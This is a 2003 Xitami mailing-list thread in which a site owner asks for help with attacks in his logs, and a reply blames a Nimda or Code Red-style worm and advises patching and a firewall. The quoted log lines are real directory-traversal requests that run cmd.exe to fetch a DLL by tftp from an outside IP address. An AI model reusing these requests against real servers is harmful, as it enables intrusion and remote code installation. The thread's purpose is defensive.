[Xitami] Security Issue - Disabling Script Processing

[carlos]

You are in  trouble.
This looks like a Nimda or codered attack.
It attaks a range of ipīs, and when at last find some with the pants down it
tries to exploit a security "crater" in MS systems.
Download the latest updates from msupdate.

Then install a descent firewall, at least zonealarm.

If you succeed patching the holes then the logs should tell 404 not 200.

Good luck:

Carlos

Ps: more info is available at ms website.

----- Original Message -----
From: "Rob @ BMM" <Rob@bluemarblemeds.com>
To: <xitami@lists.xitami.org>
Sent: Tuesday, January 14, 2003 9:40 AM
Subject: [Xitami] Security Issue - Disabling Script Processing


> Hi,
>
> Please forgive me if I have not sent this correctly to the group.
>
> Can somebody help me with this.
>
> Periodically, I see in the access logs and error logs, an attempt from a
> hacker to run certain types of scripts in a cmd window such as the
> following:
>
> "GET
>
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G
> ET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> "GET
>
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G
> ET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> "GET
>
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G
> ET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> "GET /scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" ""
> "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 ""
""
> "GET
>
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET
> %20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> "GET
>
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET
> %20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> "GET
>
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET
> %20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
>
> Notice that the hacker successfully used tftp to send some info back to
> himself.  My router logs confirmed that this occurred.  I have since
> eliminated all access rights to tftp.  Not even the admin has rights
> anymore.  Since this is on a Win2k system, you just can't delete or rename
> certain system executables such as cmd.exe or tftp.exe.  Windows just
> restores it automatically.
>
> The question is: Since I run a simple HTML only site and don't need CGI
> processing, what can I do to eliminate all script processing of this
nature.
>
> PS - The rest of you probably encounter some of these same security
issues.
> You should check.
>
> Best Regards,
> Rob Allen
> President, Blue Marble Meds LLC.  Offering 30-75% off Prescription Meds
> See us at http://www.BlueMarbleMeds.com
>
>
>
> --
> Xitami Users Mailing List -- For Xitami support
> To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami